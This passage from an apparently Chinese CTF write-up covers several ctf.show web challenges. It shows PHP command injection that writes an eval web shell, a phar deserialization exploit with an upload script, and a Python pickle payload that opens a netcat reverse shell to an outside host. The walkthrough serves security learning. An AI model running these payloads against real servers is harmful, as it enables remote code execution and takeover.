); unlink($_SERVER['DOCUMENT_ROOT' ].'/' .$_GET['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; }
一开始以为是条件竞争,但是发了下请求会发现如果在 $_GET['fn']
中带上 /var/www/html/
,后面的 unlink
会因为重复了两遍路径删不掉文件,也就不需要条件竞争就可以持久化写入文件。但是因为正则对文件名进行了限制,没找到可以代替 php
的扩展名,就没能上传 shell
。 再观察可以发现 filter
类的 __destruct
方法中的命令是字符串拼接,那么就可以任意命令执行了。 payload: ?fn=a%3Becho%20'%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%20%3F%3E'%20%3E%20shell.php%3B
web276 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php highlight_file(__FILE__ ); class filter { public $filename; public $filecontent; public $evilfile=false ; public $admin = false ; public function __construct ($f,$fn) { $this ->filename=$f; $this ->filecontent=$fn; } public function checkevil () { if (preg_match('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct () { if ($this ->evilfile && $this ->admin){ system('rm ' .$this ->filename); } } } if (isset ($_GET['fn' ])){ $content = file_get_contents('php://input' ); $f = new filter($_GET['fn' ],$content); if ($f->checkevil()===false ){ file_put_contents($_GET['fn' ], $content); copy($_GET['fn' ],md5(mt_rand()).'.txt' ); unlink($_SERVER['DOCUMENT_ROOT' ].'/' .$_GET['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; }
这道题相比上一题增加了 $admin
的限制,不再能直接执行任意命令。要想通过反序列化实现 $admin === true
,会发现找不到 unserialize
函数,这就需要用到 phar
反序列化 ,而且正则刚好没有过滤 phar
。 首先构造 phar
的文件,将 filter
存储在 meta-data
中以备反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class filter { public $filename = "a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php" ; public $filecontent; public $evilfile = true ; public $admin = true ; } @unlink("payload.phar" ); $phar = new Phar("payload.phar" ); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>" ); $o = new filter(); $phar->setMetadata($o); $phar->addFromString("test.txt" , "test" ); $phar->stopBuffering(); echo "done." ;
然后因为文件名加上 /var/www/html/
后 unlink
的参数就会有两遍路径,删不掉,就可以持久化上传文件了,当然也可以通过条件竞争去反序列化这个 phar
。
1 2 3 4 5 6 7 8 9 10 11 import requestsurl = "http://70640f7f-4359-43eb-b966-dcd85bc7f53b.challenge.ctf.show:8080/" target = "/var/www/html/d.phar" with open("payload.phar" , "rb" ) as f: payload = f.read() _ = requests.post(f"{url} /?fn={target} " , data=payload) target = "phar://d.phar/test" _ = requests.post(f"{url} /?fn={target} " )
蚁剑连接 shell.php
。
web277 html 注释看到 /backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)
,可知是 python
反序列化漏洞,构造 payload
反弹 shell
。
1 2 3 4 5 6 7 8 9 10 11 import pickleimport base64import osclass RCE : def __reduce__ (self) : return os.popen, ("nc xxx.xxx.xxx.xxx 7777 -e /bin/sh" ,) print(base64.b64encode(pickle.dumps(RCE())))
获取 shell
后 cat flag
。
web278 同 web277
,禁用了 os.system
但不影响 os.popen
。